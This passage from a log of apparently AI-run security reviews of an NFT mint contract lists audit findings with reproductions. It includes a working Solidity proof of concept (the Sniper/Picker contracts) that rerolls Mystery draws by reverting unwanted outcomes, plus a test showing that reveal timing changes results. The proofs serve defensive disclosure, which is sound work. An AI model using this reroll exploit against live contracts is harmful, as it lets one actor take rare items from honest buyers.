burned for tokens that cannot reveal. Verified with test/scratch/HeadOfLine.t.sol (test_oneLostRequestFreezesAllLaterReveals passes against the current code, i.e. the frozen state is real); the same blocking is visible in the existing test test_OutOfOrderFulfillmentFinalizesInMintOrder (token 43 held behind 41).","severity":"medium","snippet":"        uint256 tokenId = GENESIS_PHASE_SUPPLY + revealedCount + 1;\n        while (done < maxCount && tokenId <= totalMinted && _revealStatus[tokenId] == RevealStatus.RandomnessStored) {","title":"One VRF request the coordinator never fulfils permanently freezes every later reveal (head-of-line blocking, no re-request path)"},{"citation":"resolved","description":"The launch policy forbids anything configured after deployment rather than in a constructor. genesisImagesCID is empty at deployment and both mintGenesis (line 225) and mintMystery (line 242) revert with GenesisCIDNotSet until the owner sends setGenesisImagesCID. The value is already known and verified: directory bafybeihfihwwpev4gkqjuqawgtptsv3ynzsokclo6odsolvoa65aqaac2u resolves genesis-01.png .. genesis-77.png (all 77 checked with HTTP 200 image/png on the requester's gateway; genesis-78.png and 1.png are absent, so the contract's genesis-NN.png naming matches). Because a string cannot be a factory constructor argument, the adapter should make the CID a compile-time constant (or constructor-free immutable) and delete setGenesisImagesCID, genesisCIDLocked and the GenesisCIDNotSet gates. The string is also inserted unescaped into the tokenURI JSON at line 469, so a CID containing a double quote would corrupt metadata; a constant removes that surface as well.","line":186,"path":"src/BMCIlluminatiPass.sol","reproduction":"Deploy BMCIlluminatiPass(owner, BMC, coordinator) through the factory. Call mintGenesis() from a funded, approved wallet. Expected under the launch policy: the contract is fully configured and the mint succeeds. Actual: revert GenesisCIDNotSet(); the collection stays unusable until the owner executes a separate setGenesisImagesCID transaction, and if the owner renounces ownership first (Ownable.renounceOwnership is inherited) the contract can never mint.","severity":"medium","snippet":"    function setGenesisImagesCID(string calldata cid) external onlyOwner {","title":"Genesis image CID is configured by an owner transaction after deployment instead of in the constructor; no mint is possible until then"},{"citation":"resolved","description":"setVRFConfig is a post-deployment owner configuration step, which the launch policy forbids. Until it runs, mintMystery reverts VRFNotConfigured (line 246). After it runs the mystery phase still depends on off-chain actions outside the launch: a Chainlink VRF v2.5 subscription must exist, the pass address must be added as a consumer by the subscription owner, and the subscription must stay funded with LINK or ETH for 460 requests, otherwise requestRandomWords reverts (InvalidConsumer / InsufficientBalance, covered by test_NotAConsumerReverts) and no mystery mint can happen. The brief also states that the proposed Mystery contract uses on-chain block-derived randomness, not Chainlink VRF, and asks the website to explain that weaker randomness; this code and website/index.html describe Chainlink VRF instead, so the requester's design description and the delivered code disagree and the adapter needs a decision. If VRF is kept: pass subscriptionId, keyHash, callbackGasLimit, requestConfirmations and nativePayment as constructor arguments (all static words), delete setVRFConfig and VRFConfig.configured, and document the subscription funding as an operational prerequisite. If block-derived randomness is chosen per the brief, the whole reveal pipeline (rawFulfillRandomWords, finalizeReveals, VRF_COORDINATOR) is replaced and the head-of-line issue disappears, but the manipulation risk must be disclosed as the brief demands.","line":196,"path":"src/BMCIlluminatiPass.sol","reproduction":"Deploy through the factory, set the CID, complete the 40 Genesis mints. Call mintMystery() from a funded, approved wallet. Expected: a fully constructor-configured contract accepts the mint. Actual: revert VRFNotConfigured() until the owner sends setVRFConfig(subId, keyHash, gas, conf, native); after that, if the pass is not a consumer of subId on the mainnet coordinator 0xD7f86b4b8Cae7D942340FF628F82735b7a20893a the call reverts InvalidConsumer(subId, pass), and if the subscription balance is zero it reverts InsufficientBalance. The burn is rolled back in every case, so no funds are lost, but phase 2 is unusable without owner and Chainlink-side actions after launch.","severity":"medium","snippet":"    function setVRFConfig(","title":"Chainlink VRF parameters are set post-deployment by the owner and the mystery phase depends on an externally funded subscription; the brief specifies block-derived randomness"},{"citation":"resolved","description":"The brief requires a PRE-LAUNCH mode where mint buttons are disabled, no approval or mint transactions are sent and the page shows 'BMC PASS - Coming Soon', and a LIVE mode where every mint first verifies the wallet is on Ethereum Mainnet. Neither is implemented. refresh() returns at line 75 when PASS_ADDRESS is empty, so the .card.disabled class (the only thing that blocks clicks, styles.css line 27) is never applied; the click handlers at lines 145-149 remain armed. With PASS_ADDRESS = '' (the shipped config), encAddr('') pads to 64 zeros, so 'Approve' submits approve(0x000...000, 1e24) to the real BMC token (OpenZeppelin v5 reverts with ERC20InvalidSpender, so the user is prompted to sign a transaction that can only fail and burn gas), and 'Mint' calls eth_sendTransaction with to: '' which wallets interpret as a contract-creation or reject. send() (line 38) never compares state.chainId to C.CHAIN_ID, so on any other EVM chain the same calldata is sent to 0x3822...F961 on that chain. No 'Coming Soon' text exists. Fix: gate every send on C.PASS_ADDRESS being a valid address and state.chainId === C.CHAIN_ID, set the buttons' disabled attribute (not only a CSS class) in pre-launch mode, and render the Coming Soon banner.","line":145,"path":"website/app.js","reproduction":"Serve website/ with config.js as shipped (PASS_ADDRESS: ''). Connect a wallet on chain 1 and click '1. Approve 1,000,000 BMC'. Expected per the brief: button disabled, no wallet prompt. Actual: eth_sendTransaction to 0x38224239f2BDae357D47cb864BC533d7f72dF961 with data approve(0x0000000000000000000000000000000000000000, 1000000000000000000000000) is requested from the wallet; it reverts ERC20InvalidSpender on-chain. Variant: connect on chain 56 and click 'Mint Genesis' after a PASS_ADDRESS is set; the page header reads 'wrong network (chain 56)' but the transaction is still submitted to that chain.","severity":"medium","snippet":"    $(\"approve-genesis\").onclick = () => send(C.BMC_ADDRESS, SEL.approve + encAddr(C.PASS_ADDRESS) + encUint(C.GENESIS_PRICE));","title":"Mint site sends transactions with no chain-id check and in pre-launch mode: approve(address(0)) and a transaction with an empty 'to' are offered to the wallet"},{"citation":"resolved","description":"The brief asks to use the Genesis artwork from the IPFS directory via the requester's gateway and to verify the images load. config.js defines IPFS_GATEWAY but no code reads it; the gallery (line 129) and the hero image (index.html line 24) reference ../artwork/genesis/genesis-NN.png, which only resolves if the artwork/ directory is hosted one level above the page. On the existing site at bmc-illuminati-know-create-burn.sites.imd.fun that path does not exist, so the images 404. Fix: build image URLs from IPFS_GATEWAY + CID + '/genesis-NN.png' (all 77 verified to resolve) and point IPFS_GATEWAY at the requester's gateway.","line":129,"path":"website/app.js","reproduction":"Host website/ at https://<site>/mint/ without copying artwork/ to https://<site>/artwork/. Open the page. Expected: Genesis #1 hero and 12 gallery images render from IPFS. Actual: every <img> requests https://<site>/artwork/genesis/genesis-NN.png and fails with 404; no IPFS request is ever made.","severity":"low","snippet":"      fig.innerHTML = `<img src=\"../artwork/genesis/genesis-${n}.png\" alt=\"Genesis ${n}\" loading=\"lazy\"><figcaption>genesis-${n}.png${i === 1 ? \" · Legendary\" : \"\"}</figcaption>`;","title":"Gallery and hero images load from a relative ../artwork path and the configured IPFS gateway is never used"},{"citation":"resolved","description":"Read in full: src/BMCIlluminatiPass.sol, src/StandardArt.sol, src/interfaces/IBMCToken.sol, script/Deploy.s.sol, test/BMCIlluminatiPass.t.sol, test/ChainlinkMockIntegration.t.sol, test/BMCMainnetFork.t.sol, test/mocks/*, website/app.js, website/index.html, website/config.js, README.md, docs/SECURITY-REVIEW.md. Inherited OpenZeppelin 5.1.0 ERC721/Ownable/ReentrancyGuard and the vendored Chainlink VRF v2.5 interfaces were traced for the paths used. The live BMC token 0x38224239f2BDae357D47cb864BC533d7f72dF961 was read over a public RPC (decimals 18, totalSupply ~9.88e26) and its verified source fetched from Sourcify: a plain OpenZeppelin ERC20 + ERC20Burnable with no owner, fee, pause or blocklist, so burnFrom semantics match _burnExact. test/BMCMainnetFork.t.sol was run on a mainnet fork and passed (real burnFrom reduces supply and balance by exactly the price). Not reached: the live Chainlink coordinator's node behaviour (pending-request expiry, future deprecation) could not be exercised, and the deterministic feature branch on GitHub was not reviewed since the brief says not to use it. Checked and found sound: access control (only two owner setters, no owner mint/withdraw/pause/upgrade), CEI plus nonReentrant on both mints, exact-burn verification, Fisher-Yates draw uniqueness (500-mint simulation), in-order finalization, idempotent fulfilment, coordinator-only callback, constructor that calls no external contract, runtime 23,488 bytes with no DELEGATECALL/CALLCODE/SELFDESTRUCT (scanned), bytecode_hash none. Public minting is the requested product and the owner has no mint path, so it is not reported as 'minting after launch'. Test gaps: no test of a permanently unfulfilled request blocking later stored reveals (the scratch test above), no test of the 150,000 minimum callback gas through Chainlink's own mock, and the fork test is skipped in the no-network verifier.","line":40,"path":"src/BMCIlluminatiPass.sol","reproduction":"Not a defect; coverage statement required by the acceptance criteria.","severity":"info","snippet":"contract BMCIlluminatiPass is ERC721, Ownable, ReentrancyGuard {","title":"Review coverage: contracts read, checks run, and what was not reachable"}],"hash":"0d984119a500f03a00e49c4bb76b0079596ebe5e1af4b4ab9fb2dd046c31697b","nodeId":"d287e89b-f0b2-49cc-b45c-87132de597ea","outcome":"completed","summary":"The review is complete. Findings are in `.imd-findings.json`, no project file was changed, and the working tree is clean apart from the ignored scratch test.\n\n**Outcome:** no critical or high defect in the contract. I found three medium contract issues, one medium and one low website issue, and recorded coverage as an info entry. All snippets were verified against the tree.\n\n**Contracts read:** `src/BMCIlluminatiPass.sol`, `src/StandardArt.sol`, `src/interfaces/IBMCToken.sol`, `script/Deploy.s.sol`, all three test files and both mocks, the website files, README and the self-review. The live BMC token was read over a public RPC and its verified source fetched from Sourcify. It is a plain OpenZeppelin ERC20 with ERC20Burnable, so the burn verification in the pass is sound. The mainnet fork test was run against the real token and passed. All 77 Genesis images resolve on the requester's gateway under the filenames the contract expects. Not reachable: live Chainlink node behaviour for expired requests, and the deterministic GitHub branch, which the brief says not to use.\n\n**Findings:**\n\n- **Medium, head-of-line blocking.** A single VRF request the coordinator never fulfils freezes every later reveal forever. There is no timeout or re-request path, and the owner cannot help. A scratch test confirms ten tokens with stored randomness stay pending behind one unfulfilled token, with 3.85M BMC burned for them. The README and site promise a stronger guarantee than the code gives.\n- **Medium, post-deployment configuration of the Genesis CID.** The launch forbids owner setup after deployment, and nothing can mint until the owner calls the setter. The CID is already known and verified, so it should become a constant.\n- **Medium, post-deployment VRF configuration and design mismatch.** The VRF setter is also post-deployment, phase 2 depends on an externally funded Chainlink subscription, and the brief describes block-derived randomness rather than VRF. The adapter needs a decision on which design ships.\n- **Medium, website safety.** With no pass address configured, the approve button submits an approval to the zero address and the mint button sends a transaction with an empty recipient. No chain-id check guards sends, and there is no Coming Soon state.\n- **Low, website images.** The gallery loads from a relative path and the configured IPFS gateway is never used, so images 404 on the hosted site.\n\n**Checked and sound:** access control, reentrancy ordering, exact-burn verification, draw uniqueness, coordinator-only callback, a constructor that calls nothing external, and a runtime of 23,488 bytes with no forbidden opcodes.","treeHash":null,"usage":{"cachedInputTokens":1427959,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":34853,"runtime":"claude","turns":38,"wallClockMs":608746}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3f91b58cf7cd2d45","findings":[],"hash":"100ee61dbea106710035f3cc5ab2a443fd363ce4c5fe951c75ed6f6bae69159c","nodeId":"e30532f3-e3d4-4d77-af39-c4bbf8cf0527","outcome":"completed","summary":"The review is complete. The findings file is written with an empty findings list and a 15-row coverage record, and the working tree is clean apart from that file.\n\n**Outcome:** no substantiated defect in the Math Precision, Boundary or Numerical Gap area of `src/BMCIlluminatiPass.sol` or `src/StandardArt.sol`.\n\n**What I verified, with concrete checks**\n\n- **Price and burn arithmetic.** Every burn is a strict equality on both payer balance and token total supply, so no rounding or fee path exists. The burn total lands exactly on 201,000,000 BMC at sellout, which is also the assert bound.\n- **Phase and supply boundaries.** Genesis closes exactly at the 40th mint and Mystery opens at the same count. The draw divisor `460 - revealedCount` stays in 1..460, so the modulo never hits zero.\n- **Draw permutation.** The virtual Fisher-Yates stores value+1 and the maximum stored value fits. I fuzzed 8 full 460-draw sellouts with varying entropy and block advances. Every run produced exactly 37 Genesis artworks in 41..77 and 423 Standard artworks in 1..423 with no duplicates, and the remaining-inventory views agreed at each step.\n- **External BMC token boundary.** The Sourcify-verified source is a plain OpenZeppelin ERC20 plus ERC20Burnable with no tax, reflection, pause, blocklist or mint. Both mainnet fork tests pass against a live public RPC.\n- **Metadata string formatting.** All 500 token URIs decode to valid JSON. Genesis file names are exactly zero-padded `genesis-01.png` to `genesis-77.png`, matching the pinned IPFS record. The longest URI is 3,681 characters against the website decoder's 100,000 limit.\n- **Trait bijection.** The stride 1327 is coprime with 5400 and the mixed-radix decode is exact.\n- **Website numeric paths.** Balance, allowance, phase, price and burn checks mirror the contract at the 40 and 500 boundaries. All 33 Node tests, including the Anvil 500-mint integration, pass.\n\n**Static-analysis leads in my area.** The strict-equality warnings on `_slotValue` and `mintMystery` are the intended sentinel encoding and the exact burn check, not defects. The weak-randomness lead is the requested, disclosed block-random design and belongs to another area.\n\n**Not reached.** I did not re-audit OpenZeppelin ERC721 internals beyond confirming the inherited entry points touch no numeric state in this contract.","treeHash":null,"usage":{"cachedInputTokens":1720816,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":34432,"runtime":"claude","turns":45,"wallClockMs":541190}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2b9b0095482c54e6","findings":[{"citation":"resolved","description":"mintMystery draws and stores the outcome (_draw) and then calls _safeMint, which invokes onERC721Received on a contract buyer. The receiver (or the calling contract after mintMystery returns) can read tierOf(id) and revert. The revert rolls back the burnFrom, so a rejected draw costs only gas. Because the entropy word includes msg.sender, the attacker deploys a fresh helper (new address) per attempt and loops inside one transaction until it draws Genesis. This goes beyond validator/builder influence: any ordinary buyer can do it, and one actor can drain all 37 Mystery Genesis outcomes while honest buyers get only Standard. The NatSpec (lines 21-24), docs/SECURITY-REVIEW.md and website/mint/index.html:88 already disclose that receivers can revert and that outcomes are manipulable, and the brief accepts block-derived randomness, so this is filed as info, quantifying an accepted risk. Switching to _mint does not fix it, because a calling contract can still check tierOf after the call returns and revert. tx.origin==msg.sender can be bypassed with EIP-7702 delegated EOAs. Only a design change (commit to a future blockhash, or VRF) removes it, and that is the requester's scope decision.","line":165,"path":"src/BMCIlluminatiPass.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Burnable} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {BMCIlluminatiPass} from \"src/BMCIlluminatiPass.sol\";\n\ncontract Tok is ERC20, ERC20Burnable {\n    constructor() ERC20(\"BMC\", \"BMC\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract Picker {\n    function onERC721Received(address, address, uint256 id, bytes calldata) external view returns (bytes4) {\n        if (BMCIlluminatiPass(msg.sender).tierOf(id) != BMCIlluminatiPass.Tier.Genesis) revert(\"reroll\");\n        return this.onERC721Received.selector;\n    }\n    function go(BMCIlluminatiPass p, Tok t, address back) external {\n        t.approve(address(p), 350_000e18);\n        uint256 id = p.mintMystery();\n        p.transferFrom(address(this), back, id);\n    }\n}\n\ncontract Sniper {\n    function snipe(BMCIlluminatiPass p, Tok t) external returns (uint256 tries) {\n        while (true) {\n            Picker k = new Picker();\n            tries++;\n            try this.attempt(k, p, t) { return tries; } catch {}\n        }\n    }\n    function attempt(Picker k, BMCIlluminatiPass p, Tok t) external {\n        require(msg.sender == address(this));\n        t.transfer(address(k), 350_000e18);\n        k.go(p, t, address(this));\n    }\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n\ncontract RerollTest is Test {\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { return this.onERC721Received.selector; }\n    function test_OneActorTakesEveryMysteryGenesisAtNoExtraBurn() public {\n        Tok t = new Tok();\n        BMCIlluminatiPass p = new BMCIlluminatiPass(address(this), address(t));\n        t.mint(address(this), 40 * 1_000_000e18);\n        t.approve(address(p), type(uint256).max);\n        for (uint256 i; i < 40; ++i) p.mintGenesis();\n\n        Sniper s = new Sniper();\n        t.mint(address(s), 37 * 350_000e18);\n        for (uint256 i; i < 37; ++i) s.snipe(p, t);\n\n        // 37 mints, 37 * 350k burned, and the sniper holds all 37 Mystery Genesis outcomes.\n        assertEq(p.balanceOf(address(s)), 37);\n        assertEq(p.remainingMysteryGenesis(), 0);\n        assertEq(t.balanceOf(address(s)), 0);\n        assertEq(p.totalBurned(), 40 * 1_000_000e18 + 37 * 350_000e18);\n    }\n}","reproduction":"Mock OZ ERC20Burnable BMC. Mint 40 Genesis. A Sniper contract holding 37*350,000 BMC loops: deploy Picker, then call this.attempt(), which transfers 350,000 BMC to the Picker and has it approve and call mintMystery. Picker.onERC721Received reverts unless tierOf(id)==Genesis, so the whole attempt reverts. Repeat 37 times. Expected for a 37/460 random pool: about 3 Genesis per 37 mints. Actual: Sniper holds 37 NFTs, remainingMysteryGenesis()==0, and totalBurned == 40*1,000,000 + 37*350,000 BMC (no extra burn). Average gas per captured Genesis is about 18M, under the mainnet block gas limit. The attached test passes on the current code, which demonstrates the capture.","severity":"info","snippet":"        _safeMint(msg.sender, tokenId);","title":"Any contract buyer can deterministically capture every Mystery Genesis outcome by reverting unwanted draws, at no BMC cost per failed attempt"}],"hash":"3f5c1dd1c71851c4bc00a57c0b851be8520e93b1f72225daede4dda11d069779","nodeId":"05a7bd5d-888f-49a5-9442-7033455e3f23","outcome":"completed","summary":"I found one issue, and it is an informational one: no defect you'd need to fix before launch turned up in the contract or the mint flow. The findings are in `.imd-findings.json`, with a coverage row for each of the 9 listed entry points plus 3 extra checks. The project's own test suite passes (35 passed, 2 mainnet-fork cases skipped offline), and no repository file was changed.\n\n**The one finding (info): one buyer can take all 37 Mystery Genesis NFTs.** A buyer using a smart contract can throw away any Standard draw and try again. When `mintMystery` hands over the NFT (`src/BMCIlluminatiPass.sol:165`), the buyer's contract can check the tier and cancel the transaction. Cancelling undoes the BMC burn, so a failed try costs only gas.\n- **Proof:** I wrote and ran a test where one contract made 37 Mystery mints and got Genesis on every one. It burned exactly 37 × 350,000 BMC and nothing extra, and left none of the 37 Genesis outcomes for anyone else. An honest buyer would expect about 3 Genesis from 37 random mints. It takes about 18M gas per Genesis captured, which fits in one mainnet block. The test is attached to the finding as `proof`.\n- **Why it's only info:** your brief accepts block-derived randomness. The code comments, `docs/SECURITY-REVIEW.md` and the mint page (`website/mint/index.html:88`) already tell buyers that contract buyers can reject results.\n- **What would fix it:** the cheap fixes don't work. Minting without the receiver callback doesn't help, because the buyer's contract can still check the result after the mint returns and cancel. Rejecting contract callers can be bypassed by wallets using EIP-7702. Only a design change, like drawing from a future block hash or using Chainlink VRF, removes it. That's your call.\n\n**What holds up:**\n- **Genesis mint:** the cap is checked before the burn, and the exact BMC burn is confirmed against both total supply and the buyer's balance. IDs are sequential, #1 is the Legendary, and state is saved before the NFT is handed over, so nothing can re-enter a mint.\n- **Mystery draw:** the shuffle logic is correct, so a full sellout gives exactly 37 Genesis and 423 unique Standard pieces.\n- **Burn total:** it matches the prices at every point, up to 201M BMC at sellout.\n- **Transfers and approvals:** these are the standard, unmodified OpenZeppelin code.\n- **Ownership:** the owner has no special powers, so transferring or renouncing ownership can't affect minting or metadata.\n- **BMC supply:** I checked mainnet, and BMC's total supply is about 988M. That is enough for the 201M a full sellout burns.\n- **Website mint flow:** it approves only the exact price and waits for two confirmations. It checks the chain, account and phase again before minting, and stops safely on rejected, reverted or pending transactions. If the phase changes after an approval, some allowance can be left over. The page already warns about this, and only the buyer's own mint can use it.\n\n**Limits:** I only read the website client in `mint-client.js` and the risk wording on the mint page. I didn't check the preserved homepage or the 77 IPFS images; the project's own report says all 77 passed its check. The two mainnet-fork tests were skipped in my run because no mainnet connection was configured.","treeHash":null,"usage":{"cachedInputTokens":1020768,"inputTokens":30,"model":"claude-opus-5-5","outputTokens":12665,"runtime":"claude","turns":16,"wallClockMs":159584}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"63458a1bd2b2d376","findings":[{"citation":"resolved","description":"New this round, from write_foundry_tests (id 33a55885), reproduced. reveal() settles tokens in mint order from one shared virtual Fisher-Yates pool. A token settled inside its window (_draw) removes slot hash%remaining; the same token settled after its window (_drawStandard) removes a different, Standard-only slot chosen from keccak(address(this), tokenId). The two paths leave the pool in different arrangements, so a later token B with a fixed reveal hash receives different artwork (and, when the differing slot is a Genesis slot, a different tier) depending on which path its predecessor A took. So the timing of a reveal call does change outcomes once a window can expire: calling reveal(2) at A-age 199 versus A-age 299 (no history contract) gives B different results for the same B hash. This contradicts the reveal() NatSpec ('does not depend on who calls or when'), the header claim that delaying 'can never improve an outcome' (true for the delayed token only), docs/SECURITY-REVIEW.md ('In-order settlement stops a holder from timing a reveal') and the mint page. Exploiting it needs nobody to reveal A for its whole window (8,191 blocks, about 27 hours, with the history contract; 256 blocks without it) and the divergence per predecessor is about 2/remaining, so the practical impact is small and the website's automatic post-mint reveal plus the recommended keeper mitigate it; severity low. Fix options: (a) correct the three claims to say outcomes depend on the settlement path of earlier tokens and recommend a keeper so windows never expire; or (b) make forced settlement path-neutral, e.g. settle an expired token from the hash that is still available (the newest readable block hash at reveal time) through the same _draw, so every settlement removes a hash-chosen slot; (b) changes behaviour and is the requester's call.","line":202,"path":"src/BMCIlluminatiPass.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Burnable} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {BMCIlluminatiPass} from \"src/BMCIlluminatiPass.sol\";\n\ncontract ProofBMC is ERC20, ERC20Burnable {\n    constructor() ERC20(\"BMC\", \"BMC\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @notice A settled Mystery outcome is documented as depending only on the token's own reveal-block\n///         hash, and the NatSpec says \"delaying a reveal can never improve an outcome\". This test shows\n///         that token B's outcome also depends on whether its predecessor A was settled from A's hash\n///         (inside A's window) or force-settled as Standard after A's window expired: the two paths\n///         remove different slots from the shared pool, so B draws different artwork (or tier) for the\n///         same B hash. Whoever can keep A unrevealed for the whole window therefore chooses between two\n///         outcomes for B. Fails on the current code; passes once B's outcome no longer depends on\n///         the settlement path of its predecessors (or once the forced path is removed/redesigned).\ncontract Proof_SuccessorOutcomeDependsOnPredecessorPath is Test {\n    uint256 constant GENESIS_PRICE = 1_000_000e18;\n    uint256 constant MYSTERY_PRICE = 350_000e18;\n    ProofBMC bmc;\n    BMCIlluminatiPass pass;\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    function setUp() public {\n        bmc = new ProofBMC();\n        pass = new BMCIlluminatiPass(makeAddr(\"owner\"), address(bmc));\n        for (uint256 i; i < 40; ++i) {\n            address who = address(uint160(0x7000 + i));\n            bmc.mint(who, GENESIS_PRICE);\n            vm.startPrank(who);\n            bmc.approve(address(pass), GENESIS_PRICE);\n            pass.mintGenesis();\n            vm.stopPrank();\n        }\n    }\n\n    function _mintMysteryAs(address who) internal returns (uint256 id) {\n        bmc.mint(who, MYSTERY_PRICE);\n        vm.startPrank(who);\n        bmc.approve(address(pass), MYSTERY_PRICE);\n        id = pass.mintMystery();\n        vm.stopPrank();\n    }\n\n    function _outcome(uint256 id) internal view returns (bytes32) {\n        return keccak256(abi.encode(pass.tierOf(id), pass.artworkIdOf(id)));\n    }\n\n    function test_SuccessorOutcomeIsIndependentOfPredecessorSettlementPath() public {\n        uint256 n = block.number;\n        uint256 a = _mintMysteryAs(alice); // reveal block n + 1\n        vm.roll(n + 100);\n        uint256 b = _mintMysteryAs(bob); // reveal block n + 101\n        vm.setBlockhash(n + 1, keccak256(\"A\"));\n        uint256 base = vm.snapshotState();\n        uint256 divergent;\n        for (uint256 i; i < 400; ++i) {\n            bytes32 hb = keccak256(abi.encode(\"B\", i));\n            // Path 1: both inside their windows (A age 199, B age 99): A and B settle from their hashes.\n            vm.revertToState(base);\n            vm.roll(n + 200);\n            vm.setBlockhash(n + 101, hb);\n            pass.reveal(2);\n            bytes32 bNatural = _outcome(b);\n            // Path 2: nobody revealed for 300 blocks (A age 299 > 256, no history contract): A is\n            // force-settled as Standard, B (age 199) still settles from the same hash hb.\n            vm.revertToState(base);\n            vm.roll(n + 300);\n            vm.setBlockhash(n + 101, hb);\n            pass.reveal(2);\n            assertEq(uint8(pass.tierOf(a)), uint8(BMCIlluminatiPass.Tier.Standard), \"A forced\");\n            if (_outcome(b) != bNatural) divergent++;\n        }\n        // Seed 34 is one concrete case: B gets Standard #423 on path 1 and Standard #418 on path 2.\n        assertEq(divergent, 0, \"B's outcome changed with A's settlement path for the same B hash\");\n    }\n}","reproduction":"State: Genesis phase complete; no history contract code (as in the Foundry default chain). Alice mints token 41 at block n (reveal block n+1); roll to n+100; Bob mints token 42 (reveal block n+101). Set blockhash(n+1)=keccak('A'). For each of 400 candidate hashes hb for block n+101: path 1, roll to n+200 and call reveal(2) (both inside their windows), record tierOf(42)/artworkIdOf(42); path 2, revert state, roll to n+300 (token 41 is 299 blocks old, forced), set the same hb, call reveal(2), compare. Expected per NatSpec: identical outcome for token 42 on both paths for every hb. Actual: forge test --match-path test/scratch/Proof_33a55885b2f7.t.sol fails with \"B's outcome changed with A's settlement path for the same B hash: 2 != 0\"; for seed 34 token 42 is Standard #423 on path 1 and Standard #418 on path 2.","severity":"low","snippet":"    ///         the result does not depend on who calls or when, only on the reveal block's hash.","title":"A pending Mystery token's outcome depends on whether its predecessors were settled inside their window or force-settled after it, contradicting the 'does not depend on when' claim in reveal() NatSpec,"},{"citation":"resolved","description":"New this round, from write_foundry_tests (id 3b360396), reproduced. The launch gate added for finding b5ce1446 deploys closed on chain id 1 and is opened only by the owner's one-way openMinting(). The inherited OpenZeppelin Ownable still exposes renounceOwnership() and single-step transferOwnership(address) with no relation to the gate, so if the owner renounces, or transfers to an address nobody controls, before the single opening call, both mint functions revert MintingNotOpen permanently: no BMC can ever be burned for a pass and the deployment must be redone (and the launch's factory salt/address is consumed). This is the only operational action that can brick the launch and nothing in docs/LAUNCH.md or README.md warns about it (docs/TEST-RESULTS.md line 28 even describes renouncing before the first mint as a normal case). Minimal fix preserving the agreed owner powers: override renounceOwnership() to revert while !mintingOpen (ownership can still be renounced after opening, as the notes promise), and either document that transferOwnership must not be used before opening or switch to Ownable2Step so a wrong address cannot take effect. The constructor signature and manifest are unchanged by either.","line":158,"path":"src/BMCIlluminatiPass.sol","reproduction":"vm.chainId(1); deploy BMCIlluminatiPass(owner, bmc): mintingOpen() == false. As owner call renounceOwnership(). As the former owner call openMinting(): reverts OwnableUnauthorizedAccount(owner); mintingOpen() stays false. A funded, approved user calling mintGenesis() reverts MintingNotOpen. Second variant: owner calls transferOwnership(0xdead); openMinting() from the former owner reverts; gate stays closed. Expected: a one-way gate the project can still open, or a renounce that is refused while closed. Actual: collection can never open. Reproduced by test_RenounceBeforeOpenBricks in test/scratch/ReviewRound2.t.sol (passes on current code, i.e. the brick happens).","severity":"low","snippet":"    function openMinting() external onlyOwner {","title":"renounceOwnership() or a mis-addressed transferOwnership() before openMinting() on chain id 1 leaves the collection closed forever with no recovery"},{"citation":"resolved","description":"From write_foundry_tests (id 3d91dbea), reproduced. Each settlement writes two tier/artwork slots, the Fisher-Yates swap, counters and an event; with all 460 Mystery passes pending a single reveal(460) measured 29,456,017 gas on the natural path, close to the mainnet block limit. Nothing is stuck because maxCount bounds each call and the website caps its reveal at 50, but an integrator calling reveal(type(uint256).max) with hundreds pending would exceed the block gas limit. Document a safe batch size (about 50-200) for keepers; no code change required.","line":208,"path":"src/BMCIlluminatiPass.sol","reproduction":"After phase 1, mint 460 Mystery passes in one block, roll two blocks, measure gasleft() around reveal(460): 29,456,017 gas, returns 460 (test_GasRevealAll460 in test/scratch/ReviewRound2.t.sol).","severity":"info","snippet":"        while (revealed < maxCount && tokenId <= minted) {","title":"reveal(460) on a fully pending collection costs about 29.5M gas; third-party revealers should bound maxCount"},{"citation":"resolved","description":"From write_foundry_tests (id fb41f901), reproduced. When a token burns the right amount from a different account, supplyDelta == amount and the revert reads BurnMismatch(1000000e18, 1000000e18), which looks like a non-mismatch to anyone decoding it. No funds are at risk and the mint still reverts; reporting both deltas (or the failing one) would make the website's error display unambiguous. Cosmetic.","line":245,"path":"src/BMCIlluminatiPass.sol","reproduction":"Deploy the pass against an ERC-20 whose burnFrom spends the caller's allowance but burns from a funded third party; a funded, approved minter calls mintGenesis(). Expected: a revert naming the payer delta (0). Actual: revert BurnMismatch(1000000000000000000000000, 1000000000000000000000000) (test_BurnMismatchArgsAmbiguous in test/scratch/ReviewRound2.t.sol).","severity":"info","snippet":"        if (supplyDelta != amount || balanceDelta != amount) revert BurnMismatch(amount, supplyDelta);","title":"BurnMismatch reports the supply delta as 'actual' even when the payer balance delta was the failing check"},{"citation":"resolved","description":"My earlier advisory 7c97fe79. Still reproduces exactly as before (mintMystery reverts GenesisPhaseNotOver at 39 Genesis and no role can advance the phase), and the author's answer is correct that this is the brief's sequential two-phase design and that an owner- or deadline-triggered phase close would be an owner power the brief did not ask for. The disclosure option I offered has been taken: website/mint/index.html line 81 and README.md line 42 now say Mystery opens only after all 40 Genesis passes are sold. Recorded as settled; no revision needed unless the requester chooses a fallback transition.","line":191,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: totalMinted == 39. Account with 350,000e18 BMC and allowance calls mintMystery(): reverts GenesisPhaseNotOver(); currentPrice() == 1_000_000e18; remainingMysteryMints() == 460. Same as the previous round.","severity":"info","snippet":"        if (totalMinted < GENESIS_PHASE_SUPPLY) revert GenesisPhaseNotOver();","title":"Settled, accepted design: Mystery phase opens only once all 40 Genesis sell at 1,000,000 BMC; now disclosed on the mint 